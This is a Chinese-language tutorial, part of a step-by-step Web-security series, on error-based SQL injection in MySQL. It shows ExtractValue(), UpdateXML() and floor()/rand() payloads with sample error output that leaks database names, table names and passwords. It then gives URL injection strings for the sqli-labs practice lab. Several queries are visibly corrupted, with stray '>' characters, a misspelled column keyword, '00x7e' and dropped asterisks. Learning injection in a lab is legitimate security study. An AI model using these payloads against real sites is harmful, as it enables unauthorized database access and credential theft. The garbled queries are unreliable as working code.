一步一步学习 Web 安全 2.5 报错注入

原理

利用数据库某些机制让数据库报错,在报错中获取数据。有一点局限的是需要页面有错误回显。

场景

查询不回显内容,但是会打印错误信息

报错方法

这节主要说一下两类报错注入,涉及到 MySQL 的三个方法:

  1. xpath语法错误
    MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的函数,分别是 ExtractValue() 和 UpdateXML()。
    因此在 mysql 小于 5.1.5 中不能用 ExtractValue 和 UpdateXML 进行报错注入。

(1)ExtractValue() 注入语句:

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select > user()),0x7e)));

报错原理:
extractvalue() 的第二个参数要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select > database()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~test~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select > table_name from information_schema.tables where > > > table_schema='test'),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~user~'

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select > group_concat(comlumn_name) from information_schema.columns where > table_schema='test' and table_name='user'),00x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~id,Username,Age,Password~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select > concat(id,'|',Username,'|',Password) from user where id=1),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~1|olivia|slimslim~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select > group_concat(password) from user),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: > '~slimslim,meimima123,love_pwn,p@'

值得注意的是,extractvalue() 报错长度是有限制的,最长32位(从最后一句测试,也可以看出)。

(2)updatexml() 注入语句

select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

报错原理和 extractvalue() 是一样的

  1. count()+rand()+group_by()导致逐渐重复
    利用了count()和group by在遇到rand()产生的重复值时报错的思路。
    详细原理可以阅读 mysql的floor()报错注入方法详细分析。
    注入语句:
select count(*) from test group by concat(version(),floor(rand(0)*2));

练习

依旧用 sqli-labs 的 less-1,如果还没有安装 sqli-labs,可以参考 sqli-labs 的安装。

  1. floor():
    输入:?id=1' and (select count() from information_schema.tables group by concat((select version()),floor(rand(0)2))) --+
    页面返回了:Duplicate entry '5.7.261' for key '',成功注入,这时只要替换其中的『select version』就可以获取其他数据。

(1)表名:
?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))) --+
(2)列名:
?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2))) --+
(3)数据:
?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))) --+

  1. ExtractValue() 和 UpdateXML() 和 floor 差不多,也是将查询语句替换即可。

上一节:一步一步学习 Web 安全 2.4 之 mysql union 联合查询注入
下一节:一步一步学习 Web 安全 2.6 之布尔盲注

你可能感兴趣的:(一步一步学习 Web 安全 2.5 报错注入)